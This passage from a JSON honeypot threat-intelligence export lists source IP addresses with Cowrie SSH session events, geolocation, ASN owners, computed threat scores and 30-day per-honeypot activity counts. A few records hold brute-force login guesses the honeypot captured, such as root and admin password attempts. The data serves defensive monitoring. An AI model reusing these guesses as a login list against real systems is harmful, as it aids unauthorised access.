      "first_seen": "2026-03-22T12:34:06.940Z",
      "last_seen": "2026-03-22T12:34:16.944Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 14.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 17,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-13T14:30:38.200000+00:00",
        "last_seen_30d": "2026-03-29T13:45:50.216000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 7,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "116.204.156.167": {
      "attack_count": 6,
      "first_seen": "2026-03-26T02:57:02.889Z",
      "last_seen": "2026-03-30T19:50:11.287Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 59371,
      "as_org": "Dimension Network & Communication Limited",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T16:39:26.418000+00:00",
        "last_seen_30d": "2026-03-30T19:51:20.399000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6
      }
    },
    "118.193.39.146": {
      "attack_count": 6,
      "first_seen": "2026-03-03T21:51:38.655Z",
      "last_seen": "2026-03-03T21:51:54.092Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 68.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 29,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T21:51:38.655000+00:00",
        "last_seen_30d": "2026-03-31T03:05:11.887000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 19,
        "Cowrie": 6
      }
    },
    "172.105.128.12": {
      "attack_count": 6,
      "first_seen": "2026-03-13T06:26:51.631Z",
      "last_seen": "2026-03-13T06:26:52.031Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 79.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 29,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T18:17:42+00:00",
        "last_seen_30d": "2026-03-31T16:26:33.470000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 34,
        "Cowrie": 6
      }
    },
    "205.210.31.213": {
      "attack_count": 6,
      "first_seen": "2026-03-26T15:34:03.466Z",
      "last_seen": "2026-03-28T10:34:42.504Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T13:36:50+00:00",
        "last_seen_30d": "2026-03-31T20:51:17.700000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 30,
        "Cowrie": 6,
        "ConPot": 5,
        "Wordpot": 1
      }
    },
    "45.142.154.47": {
      "attack_count": 6,
      "first_seen": "2026-03-11T06:49:40.687Z",
      "last_seen": "2026-03-11T06:49:55.945Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 8.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 10,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-11T06:49:40.687000+00:00",
        "last_seen_30d": "2026-03-20T14:14:31.200000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 29,
        "Cowrie": 6
      }
    },
    "66.132.186.199": {
      "attack_count": 6,
      "first_seen": "2026-03-30T03:33:50.239Z",
      "last_seen": "2026-03-30T03:34:24.795Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 8,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-24T06:17:16+00:00",
        "last_seen_30d": "2026-03-31T15:18:00.181000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 8,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "89.19.223.83": {
      "attack_count": 6,
      "first_seen": "2026-03-17T00:01:03.384Z",
      "last_seen": "2026-03-18T06:41:36.300Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 202799,
      "as_org": "Sysect D.o.o.",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-16T15:31:13.905000+00:00",
        "last_seen_30d": "2026-03-18T06:55:12.238000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "121.46.237.155": {
      "attack_count": 5,
      "first_seen": "2026-03-07T22:25:30.118Z",
      "last_seen": "2026-03-07T22:27:30.696Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:25:30.118000+00:00",
        "last_seen_30d": "2026-03-07T22:37:38.208000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "185.235.146.29": {
      "attack_count": 5,
      "first_seen": "2026-03-05T00:37:34.488Z",
      "last_seen": "2026-03-05T00:37:39.043Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2026@Washere2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 39405,
      "as_org": "Eurofiber France SAS",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:37:34.488000+00:00",
        "last_seen_30d": "2026-03-05T00:38:40.642000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.164": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:04:34.745Z",
      "last_seen": "2026-03-11T00:04:37.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "150888"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:04:34.745000+00:00",
        "last_seen_30d": "2026-03-11T00:05:44.960000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.156.66": {
      "attack_count": 5,
      "first_seen": "2026-03-07T11:57:26.416Z",
      "last_seen": "2026-03-23T11:01:11.469Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 398,
        "days_active_30d": 29,
        "ports_targeted_30d": 95,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-03T05:11:21.971000+00:00",
        "last_seen_30d": "2026-03-31T05:28:48.049000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 247,
        "Honeytrap": 108,
        "Ciscoasa": 12,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Cowrie": 5,
        "Adbhoney": 2,
        "ConPot": 2,
        "Dionaea": 2,
        "ElasticPot": 1
      }
    },
    "77.90.185.37": {
      "attack_count": 5,
      "first_seen": "2026-03-05T23:35:18.874Z",
      "last_seen": "2026-03-05T23:35:21.355Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "2026@kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:43:33.235000+00:00",
        "last_seen_30d": "2026-03-07T13:14:55.407000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "103.5.114.138": {
      "attack_count": 4,
      "first_seen": "2026-03-04T18:33:04.559Z",
      "last_seen": "2026-03-09T11:55:25.684Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 131459,
      "as_org": "88c, Race Course Road, Coimbatore 641018",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T18:33:04.559000+00:00",
        "last_seen_30d": "2026-03-09T11:56:28.535000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "135.237.125.118": {
      "attack_count": 4,
      "first_seen": "2026-03-24T01:09:56.123Z",
      "last_seen": "2026-03-24T01:10:06.716Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T22:15:28.892000+00:00",
        "last_seen_30d": "2026-03-24T01:11:13.710000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Tanner": 1
      }
    },
    "186.233.127.187": {
      "attack_count": 4,
      "first_seen": "2026-03-14T22:02:45.814Z",
      "last_seen": "2026-03-16T07:53:07.384Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santo Anast\u00e1cio",
      "asn": 263075,
      "as_org": "TV Cabo de Santo Anastacio Ltda",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:02:45.814000+00:00",
        "last_seen_30d": "2026-03-16T07:54:11.085000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "205.210.31.167": {
      "attack_count": 4,
      "first_seen": "2026-03-09T04:23:55.336Z",
      "last_seen": "2026-03-09T04:23:58.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T22:28:05.602000+00:00",
        "last_seen_30d": "2026-03-30T23:48:24.793000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 18,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "205.210.31.248": {
      "attack_count": 4,
      "first_seen": "2026-03-24T10:49:38.464Z",
      "last_seen": "2026-03-24T10:49:41.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 28,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T02:10:13.505000+00:00",
        "last_seen_30d": "2026-03-29T13:18:19.745000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 29,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "36.35.166.250": {
      "attack_count": 4,
      "first_seen": "2026-03-30T14:09:23.880Z",
      "last_seen": "2026-03-30T14:09:24.447Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T14:09:23.880000+00:00",
        "last_seen_30d": "2026-03-30T14:10:32.530000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "165.227.16.235": {
      "attack_count": 3,
      "first_seen": "2026-03-08T03:55:07.670Z",
      "last_seen": "2026-03-08T03:56:13.126Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:55:07.670000+00:00",
        "last_seen_30d": "2026-03-08T03:57:22.279000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "43.128.81.242": {
      "attack_count": 3,
      "first_seen": "2026-03-28T22:23:18.726Z",
      "last_seen": "2026-03-28T22:24:25.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T22:23:18.726000+00:00",
        "last_seen_30d": "2026-03-28T22:25:34.587000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "112.165.183.169": {
      "attack_count": 2,
      "first_seen": "2026-03-07T07:16:08.165Z",
      "last_seen": "2026-03-07T07:16:47.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T07:16:08.165000+00:00",
        "last_seen_30d": "2026-03-07T07:17:56.789000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.29.69.5": {
      "attack_count": 2,
      "first_seen": "2026-03-30T22:45:39.791Z",
      "last_seen": "2026-03-30T22:45:54.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T22:45:39.791000+00:00",
        "last_seen_30d": "2026-03-30T22:47:04.408000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.121.104.209": {
      "attack_count": 2,
      "first_seen": "2026-03-24T22:15:06.952Z",
      "last_seen": "2026-03-24T22:15:19.776Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:15:06.952000+00:00",
        "last_seen_30d": "2026-03-24T22:16:29.842000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "144.126.208.137": {
      "attack_count": 2,
      "first_seen": "2026-03-09T07:22:20.049Z",
      "last_seen": "2026-03-09T07:22:20.245Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:22:20.049000+00:00",
        "last_seen_30d": "2026-03-09T07:23:29.457000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "147.185.133.12": {
      "attack_count": 2,
      "first_seen": "2026-03-22T05:45:39.288Z",
      "last_seen": "2026-03-22T05:45:49.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T00:54:30+00:00",
        "last_seen_30d": "2026-03-31T22:10:05.196000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 31,
        "Cowrie": 2
      }
    },
    "153.166.67.4": {
      "attack_count": 2,
      "first_seen": "2026-03-18T06:21:46.521Z",
      "last_seen": "2026-03-18T06:21:59.861Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "\u014cita",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T06:21:46.521000+00:00",
        "last_seen_30d": "2026-03-18T06:23:09.332000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.229.67.72": {
      "attack_count": 2,
      "first_seen": "2026-03-10T02:42:26.279Z",
      "last_seen": "2026-03-10T02:42:40.710Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "C\u00f3rdoba",
      "asn": 7303,
